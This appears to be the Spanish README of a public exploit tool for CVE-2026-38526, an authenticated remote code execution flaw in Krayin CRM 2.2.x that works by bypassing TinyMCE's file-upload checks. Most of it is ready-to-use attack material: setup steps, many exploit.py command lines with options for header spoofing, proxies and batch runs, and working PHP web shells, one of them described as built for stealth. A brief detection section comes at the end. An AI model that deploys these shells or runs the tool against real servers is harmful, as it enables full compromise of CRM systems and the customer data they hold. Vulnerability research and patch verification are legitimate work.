Exploit para CVE-2026-38526 en Krayin CRM v2.2.x - RCE autenticado mediante bypass de carga de archivos en TinyMCE. Incluye shell interactiva, payloads de múltiples tipos, generación automática de shell y verificación. Autor: Sudeepa Wanigarathna. Solo para pruebas autorizadas.
⚠️ SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS - El uso no autorizado es ilegal y poco ético.
Esta herramienta de explotación demuestra una vulnerabilidad crítica de ejecución remota de código (RCE) autenticada descubierta en Krayin CRM versión 2.2.x. La vulnerabilidad existe en la funcionalidad de carga de archivos de TinyMCE, que permite a administradores autenticados cargar y ejecutar código PHP arbitrario en el servidor.
| Propiedad | Valor |
|---|---|
| ID CVE | CVE-2026-38526 |
| Software afectado | Krayin CRM v2.2.x |
| Tipo de vulnerabilidad | Ejecución Remota de Código Autenticada (RCE) |
| Autenticación requerida | Sí (Acceso a nivel de administrador) |
| Impacto | Compromiso completo del sistema |
| Puntuación CVSS | 8.8 (Alto) |
La vulnerabilidad se origina por una validación insuficiente del tipo de archivo en el endpoint de carga de archivos de TinyMCE (/admin/tinymce/upload). Un administrador autenticado puede:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USUARIO> -p <CONTRASEÑA> [OPCIONES]
| Parámetro | Descripción |
|---|---|
-t, --target | URL objetivo (ej., http://192.168.1.100) |
-u, --username | Nombre de usuario o correo del administrador |
-p, --password | Contraseña del administrador |
# Explotación básica con shell generada
python3 exploit.py -t http://target.com -u [email protected] -p password
# Cargar archivo PHP de shell personalizado
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Generar shell avanzada con modo interactivo
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Generar archivo de shell sin explotación
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Usar con proxy para pruebas/depuración
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# Salida JSON para automatización
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Modo detallado con tiempo de espera personalizado
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# User-Agent y cabeceras personalizadas
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
Shell Básica (basic)
Ejecución simple de comandos con la función system().
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
Shell Avanzada (advanced)
Shell rica en funciones con:
Shell Mínima (minimal)
Huella mínima para sigilo.
<?php system($_GET["cmd"]); ?>
Administrador de Archivos (file_manager)
Interfaz completa de gestión de archivos:
Shell Personalizada (custom)
Usa tu propio archivo PHP de shell con el parámetro -f.
Salida coloreada legible para humanos, adecuada para uso interactivo.
-o json)Formato legible por máquinas para automatización e integración.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)Sin salida excepto errores. Útil para procesamiento por lotes.
| Opción | Descripción | Predeterminado |
|---|---|---|
--timeout | Tiempo de espera de solicitud en segundos | 30 |
--retry | Número de intentos de reintento | 3 |
--retry-delay | Demora entre reintentos en segundos | 2 |
--user-agent | Cadena User-Agent personalizada | UA de navegador predeterminado |
--header | Cabeceras HTTP personalizadas (Clave: Valor) | Ninguna |
--verify-ssl | Verificar certificados SSL | Falso |
--proxy | URL de proxy HTTP/HTTPS | Ninguno |
-v, --verbose | Habilitar salida de depuración | Falso |
-q, --quiet | Suprimir toda la salida | Falso |
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
Archivos a Monitorear:
public/storage/upload/image.php.jpg)Registros a Revisar:
/admin/tinymce/upload